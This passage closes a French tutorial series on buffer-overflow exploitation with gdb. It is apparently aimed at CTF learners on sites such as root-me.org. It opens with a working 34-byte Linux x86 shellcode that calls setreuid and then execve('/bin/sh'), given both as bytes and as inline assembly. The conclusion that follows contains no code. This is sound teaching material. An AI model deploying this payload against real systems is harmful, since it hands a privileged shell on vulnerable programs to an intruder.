/* * * linux/x86 setreuid(geteuid(),geteuid()),execve("/bin/sh",0,0) 34byte universal shellcode * * blue9057 root@blue9057.com * * / int main() { char shellcode[]="\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46" "\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68" "\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"; //setreuid(geteuid(),geteuid()); //execve("/bin/sh",0,0); __asm__("" "push $0x31;" "pop %eax;" "cltd;" "int $0x80;" // geteuid(); "mov %eax, %ebx;" "mov %eax, %ecx;" "push $0x46;" // setreuid(geteuid(),geteuid()); "pop %eax;" "int $0x80;" "mov $0xb, %al;" "push %edx;" "push $0x68732f6e;" "push $0x69622f2f;" "mov %esp, %ebx;" "mov %edx, %ecx;" "int $0x80;" // execve("/bin/sh",0,0); ""); }
Mais nous aborderons ce point un peu technique dans un futur article… Un jour.
Conclusion
Toutes les bonnes choses ont une fin, cette série d’articles présentant l’exploitation d’un buffer overflow à l’aide de gdb est terminée. J’espère que ce cours vous a plu, et qu’il vous aura donné envie de continuer à plonger les mains dans la mémoire de vos systèmes. En tout cas vous ne pourrez plus dire que gdb c’est trop compliqué, que la mémoire c’est trop obscur, et qu’exploiter un buffer overflow vous n’avez pas le niveau, plus d’excuses !
Néanmoins, si une partie ne vous semble pas claire, que vous n’avez pas compris certains points ou qu’il manque selon vous quelques précisions ici ou là, n’hésitez surtout pas à me le faire savoir dans les commentaires. J’essayerais alors d’améliorer tout ça. N’hésitez pas non plus à me dire quand ce cours vous a permis de valider quelques challenges ou CTF sur root-me.org, newbiecontest.org ou même d’autres sites de challenges ! Ou si grâce à moi, vous êtes devenus experts et que vous avez trouvé un bon gros 0-day bien sale dans un programme populaire… On peut rêver. :o)
Sinon, d’autres articles sur des sujets tout aussi palpitant sont en préparation ! Une partie bonus à ce cours est également prévue. Le rythme de parution de ces trois parties était très soutenu, le sujet n’étant pas des plus faciles, il fallait battre le fer pendant qu’il était encore chaud. La partie bonus sera légèrement différente et ne paraîtra donc pas tout de suite… Cette partie bonus vous permettra de revoir quelques principes de base, et vous fera découvrir quelques outils supplémentaires indispensables…
Sur ce je vous souhaite une bonne continuation, n’hésitez pas à partager tout ça, après tout si j’ai pris le temps de rédiger ce cours c’est pour qu’il soit diffusé !
Merci à Arod et plus généralement aux gens du channel #root-me sur le serveur irc.root-me.org qui m’ont énormément aidé dans ma recherche d’informations et dans la compréhension de gdb.